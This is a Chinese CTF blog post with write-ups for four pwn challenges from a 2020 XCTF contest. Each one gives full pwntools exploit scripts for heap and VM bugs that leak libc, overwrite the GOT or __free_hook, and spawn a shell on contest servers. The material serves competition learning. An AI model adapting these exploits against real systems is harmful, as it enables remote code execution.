avatar

CTF-XCTF公益赛-20年3月
这次比赛的质量比较高的,做了4个Pwn,发现自己还需要学很多东西

PWN:

题目名称 | 题目状态 | working : xxx

twochunk | SLOVED | Solve: 咲夜南梦

首先要审计libc2.30源码,发现在取出unsorted bin中的一个chunk时,会将剩余的chunk放到tcache里,而且只对bk指针指向的内存地址的bk做了check,所以只需要在unsorted bin里放3个连锁的bins,然后在tcache留四块对应的大小的堆块,然后把unsorted bin最后一个堆块的bk改成0x23333000 - 0x10,然后在0x23333000 - 0x10所对应的bk位置写成0x23333000 - 0x10即可,另外libc它只check了是否存在0x7f,但是libc地址的开头也可以是0x7e,概率大概是五分之一左右。和我出的2020-BUUOJ-PWN红包题很像嗷。(´罒`)

附上Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
# -*- coding: utf-8 -*-
# Author xynm
#import xynm_pwn_util
import sys
import os
from PwnContext import *
from time import *
from pwn import *
#log_level['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'CRITICAL'
remote_ip        = b'121.36.209.145'
remote_port      = 9999
context.terminal = ['tmux', 'splitw', '-h']
binary_file      = './%s' % "twochunk_patch"
remote_libc_file = "libc.so.6"
def exploit(sh,remote = False,awd = False):
    if awd:
        context.log_level = b"CRITICAL"
        ctx.binary = './%s' % "twochunk"
        ctx.remote_libc = "libc.so.6"
        #ctx.remote_libc =b'/tools/libc-database-master/db/libc6_2.23-0ubuntu10_amd64.so'
        #ctx.remote_libc =b'/tools/libc/libc-2.23_ubuntu16_x32.so'
    elf = ctx.binary
    if awd or remote:
        lib = ctx.remote_libc
    else:
        lib = ctx.libc
    def debug(gdb_script = ""):
        gdb.attach(sh,gdb_script)
    if context.arch == b"amd64":
        pop_rdi_ret = elf.search(asm(b"pop rdi ; ret")).next()
        pop_rsi_r15_ret = elf.search(asm(b"pop rsi ; pop r15 ; ret")).next()
    elif context.arch == b"i386":
        pop_ebp_ret = elf.search(asm(b"pop ebp ; ret")).next()
        pop3_ret    = elf.search(asm(b"pop esi ; pop edi ; pop ebp ; ret")).next()
    s       = lambda data               :sh.send(str(data))
    sa      = lambda delim,data         :sh.sendafter(str(delim), str(data))
    sl      = lambda data               :sh.sendline(str(data))
    sla     = lambda delim,data         :sh.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :sh.recv(numb)
    ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
    irt     = lambda                    :sh.interactive()
    uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
    uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
    ru7f    = lambda                    :u64(sh.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
    ruf7    = lambda                    :u32(sh.recvuntil("\xf7")[-4:].ljust(4,b'\x00'))
    lg      = lambda data               :log.success(data)
    def inputData(name,message):
        sa(":",name)
        sa(":",message)
    def add(idx,size):
        sla("choice:","1")
        sla("idx",str(idx))
        sla("size",str(size))
    def free(idx):
        sla("choice:","2")
        sla("idx",str(idx))
    def show(idx):
        sla("choice:","3")
        sla("idx",str(idx))
    def edit(idx,content):
        sla("choice:","4")
        sla("idx:",str(idx))
        sa(":",content)
    def malloc_message(message):
        sla("choice","6")
        sa(":",message)
    def showNameMessage():
        sla("choice","5")
    def call():
        sla("choice","7")
    inputData(p64(0x23333000 - 0x10) * 6,p64(0x23333000 - 0x10) * 8)
    for i in range(3):
        add(0,0x88)
        free(0)
    for i in range(5):
        add(0,0x108)
        free(0)
    for i in range(8):
        add(0,0x88 + 8 + 0x110 + 0x8)
        free(0)
    add(0,0x88 + 8 + 0x110 + 0x8)
    add(1,0x300)
    free(1)
    free(0)
    add(0,0x110)
    free(0)
    for i in range(8):
        add(0,0x88 + 8 + 0x120 + 0x8)
        free(0)
    add(0,0x88 + 8 + 0x120 + 0x8)
    add(1,0x300)
    free(1)
    free(0)
    add(0,0x120)
    free(0)
    add(1,0x300)
    free(1)
    for i in range(8):
        add(0,0xF8 + 8 + 0x140 + 0x8)
        free(0)
    add(0,0xF8 + 8 + 0x140 + 0x8)
    add(1,0x300)
    free(1)
    free(0)
    add(0,0x140)
    free(0)
    add(0,0x88 + 8 + 0x150 + 0x8)
    for i in range(8):
        add(1,0x88 + 8 + 0x150 + 0x8)
        free(1)
    free(0)
    add(0,0x150)
    free(0)
    add(0,0x300)
    free(0)
    add(0,23333)
    show(0)
    __malloc_hook = uu64(ru('\x00\x00')[-6:]) - 336 - 0x10
    libc = __malloc_hook - lib.symbols['__malloc_hook']
    system = libc+lib.sym['system']
    binsh = libc + lib.search("/bin/sh\x00").next()
    payload  = 'a' * 0xF0
    payload += p64(0) + p64(0x311)
    payload += 'b' * 0x300
    payload += p64(0) + p64(0x161)
    payload += 'c' * 0x150
    payload += p64(0) + p64(0x91)
    payload += p64(0x23333000 - 0x10) + p64(0x23333000 - 0x10)
    edit(0,payload)
    add(1,0x88)
    malloc_message(p64(system)+cyclic(0x28) + p64(binsh))
    call()
    if awd == False:
        irt()
if __name__ == b"__main__":
    context.log_level = b"DEBUG"
    ctx.binary = binary_file
    ctx.remote_libc = remote_libc_file
    ctx.custom_lib_dir = "/tools/glibc-all-in-one-master/libs/2.30-0ubuntu2_amd64/"
    ctx.debug_remote_libc = True
    ctx.remote = (remote_ip,remote_port)
    sh = ctx.start("remote")
    exploit(sh)

Shortest_path | SOLVED | Solve: 咲夜南梦

这个题目模拟了汽车公交站,简单来说就是带权重的有向图,然后会输出堆里的数据,用gdb打开程序,我自己本地构造了一个flag文件(flag{test}),然后gdb search这个字符串,竟然发现在堆里有这个字符串,然后malloc次数没有限制了,而且也没有字符串末尾置零,只是堆块末尾置零,所以只需要malloc把flag字符串包含,然后连接flag字符串,然后让俩个车站连接起来,计算一次距离和费用就会输出flag字符串。不知道是不是非预期。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#Author xynm
#import xynm_pwn_util
import sys
import os
from time import *
from pwn import *
#log_level['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = b"CRITICAL"
remote_ip        = b'121.37.181.246'
remote_port      = 19008
binary_file      = './%s' % "Shortest_path"
context.terminal = ['tmux', 'splitw', '-h']
local_libc_file  = b'/lib/x86_64-linux-gnu/libc.so.6'
remote_libc_file = b''
def exploit(sh,remote = False,awd = False,awd_binary_file = ''):
        def debug(gdb_script = ""):
                gdb.attach(sh,gdb_script)
        global binary_file,local_libc_file,remote_ip,remote_port,local_libc_file,remote_libc_file
        if awd:
                context.log_level = b"CRITICAL"
                binary_file = ('./%s' % "Shortest_path") if awd_binary_file == '' else awd_binary_file
                context.binary   = binary_file
                remote_libc_file = b'libc.so.6'
                elf = context.binary
        elf = context.binary
        if awd or remote:
                lib = ELF(remote_libc_file) if remote_libc_file != b'' else ""
        else:
                lib = elf.libc if local_libc_file == b"" else ELF(local_libc_file)
        if context.arch == b"amd64":
                pop_rdi_ret = elf.search(asm(b"pop rdi ; ret")).next()
                pop_rsi_r15_ret = elf.search(asm(b"pop rsi ; pop r15 ; ret")).next()
        elif context.arch == b"i386":
                pop_ebp_ret = elf.search(asm(b"pop ebp ; ret")).next()
                pop3_ret    = elf.search(asm(b"pop esi ; pop edi ; pop ebp ; ret")).next()
        s       = lambda data               :sh.send(str(data))
        sa      = lambda delim,data         :sh.sendafter(str(delim), str(data))
        sl      = lambda data               :sh.sendline(str(data))
        sla     = lambda delim,data         :sh.sendlineafter(str(delim), str(data))
        r       = lambda numb=4096          :sh.recv(numb)
        ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
        irt     = lambda                    :sh.interactive()
        uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
        uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
        ru7f    = lambda                    :u64(sh.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
        ruf7    = lambda                    :u32(sh.recvuntil("\xf7")[-4:].ljust(4,b'\x00'))
        lg      = lambda data               :log.success(data)
        def add(station_idx,price,length,name,connected_station_idx=[],connected_station_distance=[]):
                sla("--->","1")
                sla(":",str(station_idx))
                sla(":",str(price))
                sla(":",str(length))
                if length >= 0:
                        sa(":",name)
                sla("Number of connected station: ",str(len(connected_station_idx)))
                if len(connected_station_idx) <= 0:
                        return
                for i in range(len(connected_station_idx)):
                        sla(":",str(connected_station_idx[i]))
                        sla(":",str(connected_station_distance[i]))
        def show(idx):
                sla("--->","3")
                sla(":",str(idx))
        def free(idx):
                sla("--->","2")
                sla(":",str(idx))
        def calc(idx1,idx2):
                sla("--->","4")
                sla(":",str(idx1))
                sla(":",str(idx2))
        add(0,0x1,0x88,'\x11' * 0x88,[0],[50])
        add(1,0x1,0x88,'\x12' * 0x88,[0,1,2],[100,200,300])
        free(0)
        add(2,0x1,0x88,'\x78',[0,1,2],[10,20,9])
        add(3,0x1,0xFF,(0x240 - 0x1b0) * 'a',[4],[200])
        add(4,0x1,0xFF,(0x240 - 0x1b0) * 'a',[3],[100])
        calc(3,4)
        if awd == False:
                irt()
def CTF_exploit(argv):
        global remote_ip,remote_port,binary_file
        argv_len = len(argv)
        context.log_level = b"DEBUG"
        context.binary = binary_file
        if argv_len == 1:
                sh = process(binary_file)
                exploit(sh)
                return
        elif argv_len == 2:
                if argv[1] == "remote":
                        sh = remote(remote_ip,remote_port)
                        exploit(sh,remote = True)
                        return
                elif argv[1] == "local":
                        sh = process(binary_file)
                        exploit(sh)
                        return
                elif argv[1] == "awd":
                        context.log_level = b"CRITICAL"
                        sh = remote(remote_ip,remote_port)
                        exploit(sh,remote = True)
                        return
        elif argv_len == 3:
                sh = remote(argv[1],argv[2])
                exploit(sh,remote = True)
                return
        else:
                sh = process(binary_file)
                exploit(sh)
if __name__ == b"__main__":
        context.log_level = b"DEBUG"
        context.binary = binary_file
        sh = remote(remote_ip,remote_port)
        exploit(sh,remote = True)

easy_heap | SOLVED | Solve: 咲夜南梦

首先申请俩次堆块都是0x10,然后free掉,看到add函数里是先进行malloc(0x10),然后在做check,然后再申请check(0x400),所以由于free之后会残留指针,在free掉俩个堆块之后,故意输入大数字让他check size fail直接返回,然后申请一个0x10的堆块就可以实现堆块重叠。通过edit前俩次的堆块来覆盖最后一次malloc的堆块的ptr指针来指向chunk_list的位置,然后伪造chunk结构指向got,并且show一下就可以知道libc了,然后修改free_got为system然后free一个内容为/bin/sh的堆块就可以开启shell。

EXP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# -*- coding: utf-8 -*-
# Author xynm
#import xynm_pwn_util
import sys
import os
from time import *
from pwn import *
#log_level['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = b"CRITICAL"
remote_ip        = b'121.36.209.145'
remote_port      = 9997
binary_file      = './%s' % "easyheap"
#context.terminal = ['tmux', 'splitw', '-h']
local_libc_file  = b'/lib/x86_64-linux-gnu/libc.so.6'
remote_libc_file = b'libc.so.6'
def exploit(sh,remote = False,awd = False,awd_binary_file = ''):
        def debug(gdb_script = ""):
                gdb.attach(sh,gdb_script)
        global binary_file,local_libc_file,remote_ip,remote_port,local_libc_file,remote_libc_file
        if awd:
                context.log_level = b"CRITICAL"
                binary_file = ('./%s' % "easyheap") if awd_binary_file == '' else awd_binary_file
                context.binary   = binary_file
                remote_libc_file = b'libc.so.6'
                elf = context.binary
        elf = context.binary
        if awd or remote:
                lib = ELF(remote_libc_file) if remote_libc_file != b'' else ""
        else:
                lib = elf.libc if local_libc_file == b"" else ELF(local_libc_file)
        if context.arch == b"amd64":
                pop_rdi_ret = elf.search(asm(b"pop rdi ; ret")).next()
                pop_rsi_r15_ret = elf.search(asm(b"pop rsi ; pop r15 ; ret")).next()
        elif context.arch == b"i386":
                pop_ebp_ret = elf.search(asm(b"pop ebp ; ret")).next()
                pop3_ret    = elf.search(asm(b"pop esi ; pop edi ; pop ebp ; ret")).next()
        s       = lambda data               :sh.send(str(data))
        sa      = lambda delim,data         :sh.sendafter(str(delim), str(data))
        sl      = lambda data               :sh.sendline(str(data))
        sla     = lambda delim,data         :sh.sendlineafter(str(delim), str(data))
        r       = lambda numb=4096          :sh.recv(numb)
        ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
        irt     = lambda                    :sh.interactive()
        uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
        uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
        ru7f    = lambda                    :u64(sh.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
        ruf7    = lambda                    :u32(sh.recvuntil("\xf7")[-4:].ljust(4,b'\x00'))
        lg      = lambda data               :log.success(data)
        chunk_list = 0x6020C0
        def add(size,content):
                sla(":","1")
                sla("?",str(size))
                if(size < 0x400):
                        sa("?",content)
        def edit(idx,content):
                sla(":","3")
                sla("?",str(idx))
                sa("?",content)
        def free(idx):
                sla(":","2")
                sla("?",str(idx))
        add(0x18,0x18 * "\x10")
        add(0x18,0x18 * "\x11")
        free(0)
        add(0x500,'')
        free(1)
        add(0x500,'')
        add(0x18,0x18 * '\x12')
        edit(1,p64(0) + p64(0x18) + p64(chunk_list))
        edit(2,p64(chunk_list + 8) + p64(chunk_list) + p64(elf.got['free']))
        edit(0,p64(chunk_list + 8) + p64(chunk_list) + p64(chunk_list + 0x18) + p64(elf.got['free']) + p64(elf.got['__libc_start_main']) + p64(chunk_list + 0x30) + p64(elf.got['free']) + p64(elf.got['free']))
        edit(2,p64(elf.plt['puts']))
        free(4)
        __libc_start_main = ru7f()
        libc = __libc_start_main - lib.symbols[b'__libc_start_main']
        lib.address = libc
        system = lib.symbols[b'system']
        binsh = lib.search(b"/bin/sh\x00").next()
        edit(5,p64(system))
        edit(0,p64(chunk_list + 8) + p64(binsh))
        free(0)
        if awd == False:
                irt()
if __name__ == b"__main__":
        context.log_level = b"DEBUG"
        context.binary = binary_file
        sh = remote(remote_ip,remote_port)
        exploit(sh,remote = True)

EasyVM | SOVLED | Solve: 咲夜南梦

首先需要逆指令,我们发现大概有11个模拟寄存器,reg[8]是pc寄存器,reg[6]是sp寄存器,然后着重观察写操作、putchar和getchar,因为这样的组合理论上我们可以任意地址读写。由于putchar只能读一字节,所以可以凑一个putchar任意地址的vm指令,然后同时执行四次就可以打印出任意地址的值了,通过vm_opcode为0x9和0x11可以leak pie,然后知道pie了之后,我们就定位了got的地址,通过0x71将欲读指针放入reg[6]的栈顶,然后通过0x76指令pop到reg[3],接着通过0x53或者0x54就可以实现读写操作了,所以总的思路就是通过putchar来leak libc算出__free_hook和system,然后通过getchar将system写入__free_hook。接着就是控制free堆块内容了,可以通过0x80指令,但是0x80后面需要空一位,这里有点坑,因为reg[8] + 6,所以应该是0x80 任意字节 四字节字符串,懒得构造/bin/sh,就直接构造sh即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# -*- coding: utf-8 -*-
# Author xynm
#import xynm_pwn_util
import sys
import os
from PwnContext import *
from time import *
from pwn import *
#log_level['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'CRITICAL'
remote_ip        = b'121.36.215.224'
remote_port      = 9999
context.terminal = ['tmux', 'splitw', '-h']
binary_file      = './%s' % "EasyVM"
remote_libc_file = "libc-2.23.so"
def exploit(sh,remote = False,awd = False):
    elf = ctx.binary
    if awd or remote:
        lib = ctx.remote_libc
    else:
        lib = ctx.libc
    def debug(gdb_script = ""):
        gdb.attach(sh,gdb_script)
    if context.arch == b"amd64":
        pop_rdi_ret = elf.search(asm(b"pop rdi ; ret")).next()
        pop_rsi_r15_ret = elf.search(asm(b"pop rsi ; pop r15 ; ret")).next()
    elif context.arch == b"i386":
        pop_ebp_ret = elf.search(asm(b"pop ebp ; ret")).next()
        pop3_ret    = elf.search(asm(b"pop esi ; pop edi ; pop ebp ; ret")).next()
    s       = lambda data               :sh.send(str(data))
    sa      = lambda delim,data         :sh.sendafter(str(delim), str(data))
    sl      = lambda data               :sh.sendline(str(data))
    sla     = lambda delim,data         :sh.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :sh.recv(numb)
    ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
    irt     = lambda                    :sh.interactive()
    uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
    uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
    ru7f    = lambda                    :u64(sh.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
    ruf7    = lambda                    :u32(sh.recvuntil("\xf7")[-4:].ljust(4,b'\x00'))
    lg      = lambda data               :log.success(data)
    def add(content):
        sla(">>>","1")
        s(content)
    def start():
        sla(">>>","2")
    def recy():
        sla(">>>","3")
    def gift():
        sla(">>>","4")
    gift()
    add(p8(0x9) + p8(0x11) + p32(0x99999999))
    start()
    ru("0x")
    pie = int(r(8),16) - 0x6c0
    payload = p8(0x71) + p32(pie + elf.got['__libc_start_main'])
    payload += p8(0x76) + p32(0) + p8(0x53) + p8(0)
    payload += p8(0x71) + p32(pie + elf.got['__libc_start_main'] + 1)
    payload += p8(0x76) + p32(0) + p8(0x53) + p8(0)
    payload += p8(0x71) + p32(pie + elf.got['__libc_start_main'] + 2)
    payload += p8(0x76) + p32(0) + p8(0x53) + p8(0)
    payload += p8(0x71) + p32(pie + elf.got['__libc_start_main'] + 3)
    payload += p8(0x76) + p32(0) + p8(0x53) + p8(0)
    payload += p32(0x99999999)
    add(payload)
    start()
    __libc_start_main = ruf7()
    libc = __libc_start_main - lib.symbols['__libc_start_main']
    lib.address = libc
    system = lib.symbols[b'system']
    binsh = lib.search(b"/bin/sh\x00").next()
    __free_hook = lib.symbols[b'__free_hook']
    __malloc_hook = lib.symbols[b'__malloc_hook']
    __realloc_hook = lib.symbols[b'__realloc_hook']
    one_gadget = []
    payload = p8(0x71) + p32(__free_hook)
    payload += p8(0x76) + p32(0) + p8(0x54) + p8(0)
    payload += p8(0x71) + p32(__free_hook + 1)
    payload += p8(0x76) + p32(0) + p8(0x54) + p8(0)
    payload += p8(0x71) + p32(__free_hook + 2)
    payload += p8(0x76) + p32(0) + p8(0x54) + p8(0)
    payload += p8(0x71) + p32(__free_hook + 3)
    payload += p8(0x76) + p32(0) + p8(0x54) + p8(0)
    payload += p32(0x99999999)
    add(payload)
    start()
    s(p32(system))
    sleep(1)
    payload = "\x80\x00sh\x00\x00\x99"
    add(payload)
    start()
    recy()
    if awd == False:
        irt()
if __name__ == b"__main__":
    context.log_level = b"DEBUG"
    ctx.binary = binary_file
    ctx.remote_libc = remote_libc_file
    ctx.remote = (remote_ip,remote_port)
    sh = ctx.start("remote")
    exploit(sh,remote = True)
文章作者: 咲夜南梦
文章链接: http://yoursite.com/2020/03/19/CTF-XCTF%E5%85%AC%E7%9B%8A%E8%B5%9B-20%E5%B9%B43%E6%9C%88/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论